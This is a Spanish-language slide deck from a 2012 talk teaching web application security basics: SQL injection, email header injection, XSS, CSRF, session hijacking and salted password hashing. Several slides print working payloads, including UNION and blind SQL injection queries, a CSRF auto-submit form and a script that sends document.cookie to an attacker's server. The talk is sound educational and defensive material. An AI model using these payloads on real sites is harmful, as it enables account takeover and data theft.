Seguridad WEB - Principios básicos.

886 views
751 views

Published on

Principios básicos de seguridad en aplicaciones web. Una recorrida por los problemas mas comunes, SQL Injection, XSS, etc.

0 Comments
0 Likes
Statistics
Notes
  • Be the first to comment

  • Be the first to like this

No Downloads
Views
Total views
886
On SlideShare
0
From Embeds
0
Number of Embeds
4
Actions
Shares
0
Downloads
20
Comments
0
Likes
0
Embeds 0
No embeds

No notes for slide

Seguridad WEB - Principios básicos.

  1. 1. Seguridad WEB Principios básicos de seguridad en aplicaciones web Una recorrida por los problemas mas comunes, SQL Injection, XSS, etc.Sábado 27 de Octubre de 2012, Charlas técnicas, Lanux.
  2. 2. /aboutOscar Javier Gentilezza Arenas (a.k.a Exos)Informático, curioso, desarrollador y paranoico. Mail/jabber: tioscar@gmail.com Twitter/Identi.ca: @exos Blog: http://blog.exodica.com.ar GPG: https://secure.exodica.com.ar/gpg/
  3. 3. Temas● Por qué ser seguros● Aplicción insegura == aplicación mal hecha● Un poco de concepto● Inyección de codigo con SQL Injectión● XSS● XSRF / CSRF● Contraseñas, hashes y salts
  4. 4. Ser o no ser
  5. 5. Ser o no ser
  6. 6. Un gran poder conlleva una gran responsabilidad
  7. 7. Por qué ser seguros....Datos personales Transacciones / dinero Intimidad Integridad de identidad Contraseñas personales
  8. 8. Aplicción insegura ==aplicación Mal hecha
  9. 9. Vulnerabilidad (según wikipedia)Las vulnerabilidades son puntos débiles del software que permiten que un atacante comprometa la integridad, disponibilidad o confidencialidad del mismo. Algunas de las vulnerabilidades más severas permiten que los atacantes ejecuten código arbitrario,denominadas vulnerabilidades de seguridad, en un sistema comprometido.
  10. 10. Errores en la web Los ataques mas comunes a la web se realiza aprobechando errores de programación (muchos conceptuales) quepueden ser evitables corrigiendo la forma en que uno trabaja.
  11. 11. Un poco de concepto
  12. 12. La web en sus iniciosLa web en sus inicios eran sitios con páginas estáticas hiperenlazadas entre si (entre paginas y webs), que podían contener imágenes, texto y demas material multimedia.
  13. 13. La web ahora En la actualidad los sitios webs sonaplicaciones ricas en dinamismo que hacen mas complejo el concepto de la web.El usuario pasó a ser un lector (web 1.0) hainteractuar con contenidos o realizar ciertas acciones desde esta (web 1.5) adirectamente formar parte totalmente activa de su contenido (web 2.0 ++)
  14. 14. Que compone la web?● Se usan nombres de dominios como “direcciones” de los sitios webs● Se consultan a servidores de nombres (DNS) para saber sus direcciones reales (Ips)● Se consulta a dicha IP por el sitio en cuestión
  15. 15. Que hay en el medio?● Browser (cliente o navegador web)● TCP/IP (internet)● Protocolos HTTP/HTTPS/SPDY ← (?)● Lenguajes (o pseudolenguajes) de renderizado; html, css, xml, xslt-xsl● Contenido multimedia● Servidores
  16. 16. Las principales causas● El no escapeo de los datos de e/s● La no validación de los datos de entrada● El no casteo de los datos de e/s● El no control de las peticiones
  17. 17. Inyecciones de código La inyección de código se trata de enviarcódigo arbitrario por variables de entrada no escapados o validados, normalmentesolemos comunicarnos con ciertos servicios en un lenguaje específico, el caso de inyección mas conocido en la web en el de SQL y se llama SQL Injection.
  18. 18. Inyección inbound Podemos ver datos!
  19. 19. Como inyectar código
  20. 20. $name = $_POST[name];$password = $_POST[password];$sql = “SELECT * FROM Users WHEREname = $name AND password =$password”;→SELECT * FROM Users WHERE name = jose ANDpassword = 7h3R4m0n3$$
  21. 21. User: admin Password: or = SELECT * FROM Users WHERE name = admin AND password = or = SI user = admin Y password = O =
  22. 22. Uso de UnionSELECT a,b,c,dFROM Tabla_AUNION SELECT a,b,c,dFROM Tabla_B
  23. 23. http://www.sitiodenoticias.com/categoria.php?id=25SELECT id, autor, titulo, texto, thumbFROM NoticiasWHERE Categoria = 25ORDER BY fecha
  24. 24. <ul> <li class=”noticia”> <h1>Justin Bieber dejó la musica<h1> <p class=”resumen”>El cantante recibiráel premi novel por haberlo hecho</p> <span> Por <em>Rodrigo Saraza</me> </span> </li></ul>
  25. 25. /categoria.php?id=25000000 UNION SELECT Id, email, password, null FROM Users
  26. 26. SELECT id, autor, titulo, texto, thumbFROM NoticiasWHERE Categoria = 25000000UNION SELECT Id, email, password, nullFROM UsersORDER BY fecha
  27. 27. <ul> <li class=”noticia”> <h1>admin<h1> <pclass=”resumen”>roberto@myweb.com</p> <span> Por <em>*45f33ba4437df3a2...</me> </span> </li></ul>
  28. 28. SELECT id, autor, titulo, texto, thumbFROM NoticiasWHERE Categoria = 25000000UNION SELECT user(), null, null, nullORDER BY fecha
  29. 29. Inyección outbound (inyección a ciegas)
  30. 30. /checknick.php?nick=jhonSELECT count(1)FROM UsersWHERE nick= jhonecho $row[0] ? “true” : “false”;
  31. 31. SELECT count(1)FROM UsersWHERE nick= jhonAND SUBSTR( (SELECT Password FROM UsersWHERE id = 1) ,1,1) = a
  32. 32. SELECT count(1)FROM UsersWHERE nick= jhonAND SUBSTR( (SELECT Password FROM UsersWHERE id = 1) ,1,1) = a
  33. 33. Cadena = For x in 1 to 32 For y in 0 to F If res(x,y) == true Cadena += y Break; Raise “Sin true del 0 al f”Print CadenaDe 32 a 16*32 intentos para obtener un MD5
  34. 34. SELECT count(1)FROM UsersWHERE nick= jhonAND IF(SUBSTR( (SELECT Password FROM UsersWHERE id = 1) ,1,1) =a,1,md5(md5(md5(md5(md5(md5(md5(md5(md5(md5(md5(md5(md5(md5(md5(md5(md5(md5(md5(md5(md5(md5(md5(md5(md5(md5(md5(md5(md5(123456)))))))))))))))))))))))))))))) AND =
  35. 35. No solo de SQL vive el pueblo
  36. 36. http://servicio.com/api/order=searchbook&id=35
  37. 37. http://servicio.com/api/order=searchbook&id=35&ord er=delete&id=54
  38. 38. <?php$to = "yourplace@somewhere.com";$subject = "Hey $user want invite to socialhipters.com.";$message = "...";$replyto = $_POST[email];$headers = "From: invites@socialhipters.comrn";$headers .= "Reply-To: $replytorn";if ( mail($to,$subject,$message,$headers) ) { echo "The email has been sent!";} else { echo "The email has failed!";}?>
  39. 39. $to = "contact@yoursite.com";$subject = "Contact mail";$message = "This is a contact message from...";$replyto = $_POST[email];$headers = "From: invites@socialhipters.comrn";$headers .= "Reply-To: some@mail.comrnBcc: other@mail.comrnContent-Type: multipart/mixed; boundary="MyBoundary"; Hidden Text1 --MyBoundary Content-Type: plain/text;I will kill you!!!--MyBoundary--Hidden Text2rn";if ( mail($to,$subject,$message,$headers) ) { echo "The email has been sent!";} else { echo "The email has failed!";}
  40. 40. XSS(Cross Site Scripting)
  41. 41. XSS, Definición En este caso nosotros tabién vamos a inyectar código, pero no para atacar al servidor, sino para atacar a los usuarios, se puede decir que este ataque corre en cliente (el browser), y con esto se puede lograr el robo de credenciales o se puede tomar un control limitado de la maquina “infectada”,también se puede usar esta técnica para usar a un sitio vulnerable como distribuidor de malware
  42. 42. Inyectando código javascript
  43. 43. Tipos de ataque XSS● Reflejado (indirecto)● Persistente (directo)
  44. 44. Reflejado Se logra inyectar código mediante unavariable de entrada mal escapada o casteaday se genera así una URL maliciosa que tiene que ser entregada a la víctima.
  45. 45. /login.php?err=usuario%20incorrecto<php if ($_GET[err]): ?> <div class=”error”> <?= $_GET[err] ?> </div><?php endif; ?>
  46. 46. /login.php?err=<script>alert(atrapado)</script><php if ($_GET[err]): ?> <div class=”error”> <?= $_GET[err] ?> </div><?php endif; ?>
  47. 47. Persistente Se llama persistente cuando quedaalmacenado del lado del servidor, por lo quecualquier usuario que use el sitio es victima indirectamente del ataque.
  48. 48. Como funciona Supongamos que tenemos comentarios:If ($_POST) { $name = $_POST[name]; $email = $_POST[email]; $comment = $_POST[comment]; saveComment($email, $comment); ….}
  49. 49. <ul class=”comentarios”> <li> <span><?= $name ?> dijo...</span> <p><?= $comment ?></p> </li> ….</ul>
  50. 50. <ul class=”comentarios”> <li> <span>Funalito dijo...</span> <p>Que buena noticia, ya era hora<script>alert(infectado!)</script></p> </li> ….</ul>
  51. 51. Peticiones post<iframe style=”display:none”name=”badiframe” /><form action=”/transferirplata.php”method=”post” id=”f” target=”badiframe”><input type=”hidden” name=”to”value=”25” /></form><script>document.getElementById(f).submit();</script>
  52. 52. Robo de credenciales(Hijacking, suplantación de identidad)
  53. 53. Concepto de sesiones Para que los usuarios puedan tener suespacio propio en una web, o hacer accionesvilculadas a un usario en el sistema, se suele usar el concepto de session (sesión), esto quiere decir que una vez que se comprueba que el usuario es tal atravez de unaautentificación por login, se crea una sessiondonde se guarda información temporalemte.
  54. 54. Entendiendo las cookies Para que los navegadores no tengan que enviar todo el tiempo datos de login, para identificar una sesión, se suelen usar cookies, que es un pequeño espacio en el browser (4KB) que el sitio puede usar para almacenar datos, la información va del ladodel servidor, por lo que en las cookies solo seguarda un identificador difícil de repodrucir osuponer, esta cookie es del tipo de cookie de sesión y tiene un tiempo de vida corto.
  55. 55. Robo de credenciales Las cookies son accesibles desde JavaScript, ya que tambien se puede usar para almacenar cosas de este lado, eso quiere decir que si yo inyecto código JavaScript en una página donde un usuariola está visitando logueado, voy a poder hacer uso de sus cookies, y enviarmelas a mi mismo, suplantando su identidad, ya que el servidor creerá que las peticiones vienen del usuario y no de un extraño.
  56. 56. <ul class=”comentarios”> <li> <span>Funalito dijo...</span> <p>Que buena noticia, ya era hora<script>document.write(<img src=”http://misite.com/hack.php?cookies= +document.cookie + ” />)</script></p> </li> ….</ul>
  57. 57. Ejemplo de url maliciosa
  58. 58. Cookies HttpOnly
  59. 59. Solo por HTTPPara evitar los robos de credenciales, se creo una propiedad en las cookies llamadaHttpOnly que quiere decir que solo se van a mandar y recibir por peticiones http y no serán visibles desde JavaScript.
  60. 60. Método Trace Para poder saltar la limitación de HttpOnly, se hace uso del método Trace, hecho para debugear peticiones, este metodo a diferencia del GET, no solo devuelve el contenido, sino también la cabecera de la petición en el cuerpo de la repuesta, por lo que se puede hacer mediante XMLHttpRequest y luego parsearlo, la forma deevitar esto es bloquear el metodo Trace del servidor,igualmente los browser modernos no permiten estas peticiones por ajax.
  61. 61. Robando cookies en Apache Esta año se descubrió una vulnerabilidad todabia vigente en gran cantidad de servidores, donde se pueden obtener las cookies HttpOnly atravez del mensaje por defecto del error 400 (Bad Request) de Apache. Cuando se envia una cabezera muy larga e servidorresponde con 400 mostrando la cabecera que provocóel error, si se genera mediante javascript una cookie de unos 7KB y se envia una petición, la respuesta tendrá consigo la cabecera http, con las cookies HttpOnly también.
  62. 62. Los apaches afectados son desde la versión 2.2.0 a la 2.2.21
  63. 63. CSRF / XSRF( Cross Site Request Forgery )
  64. 64. Un Ataque de CSRF, fuerza al navegador "logueado" de la victima a mandar un "request HTTP", incluyendo el cookie de sesión de la victima y cualquier otrainformación de validación de la victima a una aplicación web vulnerable. Esto permite al atacante forzar al navegador de la victima para cometer daños o estafas que laaplicación piensa son iniciados por un usuario legítimo.
  65. 65. Almacenamiento de Contraseñas (cuidando al usuario)
  66. 66. Guardando contraseñas de forma segura Como vimos antes, muchos ataques sirvenpara leer arbitrariamente datos de la base de datos que no deberíamos, entre esos datoslas contraseñas, y como vimos en el ejemplo de SQL Inyection, solo se obtenian Hashes.
  67. 67. Concepto de HASH Una función hash es una operación que aplica un algoritmo que mapea una cadenaen otra cadena de longitud fija cuyo resultado es irreversible, osea no se puede llegar a la cadena “sumada” con el resultado de esta suma. De esta forma algo que es hasheado es irrecuperable matematicamente.
  68. 68. Tipos de hashes (mas usados)● MD5● MySQL Password● SHA-1● SHA-256● SHA-512 (no se usa tanto)
  69. 69. Ventajas Un sistema no necesita saber la contraseñade un usuario para autentificarlo, a la hora de guardar las contraseñas debemoshashearlas, asi en caso de que alguien tengaacceso a estas no las tenga en claro, y no las pueda usar.
  70. 70. Problema con hashesCada vez la computación avanza mas, y losmétodos de hash utilizados, aunque seguros y robustos, se vuelven insuficientes a los ataques de fuerza bruta, los hashes estan hechos para ser rápidos, lo que hace que generar grandes diccionarios o Rainbows tables de estos sea cada vez mas fácil.
  71. 71. Ejemplo Md5(123456) = e10adc3949ba59abbe56e057f20f883e La robustes del algoritmo, es que no sepuede llega a 123456 desde el hash, pero si un atacante consigue esta hash, no le va a costar deducir el resultado...
  72. 72. GPU Las placas de video con susmicroprocesadores (GPUs) cada vez tienen mas poder y aunque son operaciones simples de suma y resta, suelen tenermuchos cores, y ser realemente rápidas, porlo que pueden crear hasta 5 mil millones de hashes md5 por segundo.
  73. 73. Poniendole un poco de sal al asunto
  74. 74. SaltsLos salts, son string que se utilizan de apoyoa la contraseña, a si si un atacante consigue una contraseña hasheada, aunque esta seadebil, no podrá conseguir deducirla sin el salt, de esta forma podemos, en vez de hacer un md5 de la password, hacer un md5 de un string secreo + la password: md5(salt + password)
  75. 75. El tamaño.... si importa
  76. 76. El tamaño importaCuando más larga y mas combinaciones por byte tenga un password o salt, mas tiempo tomará su crackeo, volviendo el ataque irrealizable. Un salt puede ser binario, si tenemos en cuenta que cada byte puede tener 256 posibilidades, con un salt de 30 bytes, tendrían 256³⁰ posibilidades, y esomultiplicado por lo que aporte la contraseña.
  77. 77. bcrypt Por úlrimo recomiendo el uso de bcrypt, yaque es robusto, y ya tiene incorporado lo del salt.
  78. 78. Hasta aca llegamos ¿Preguntas?

×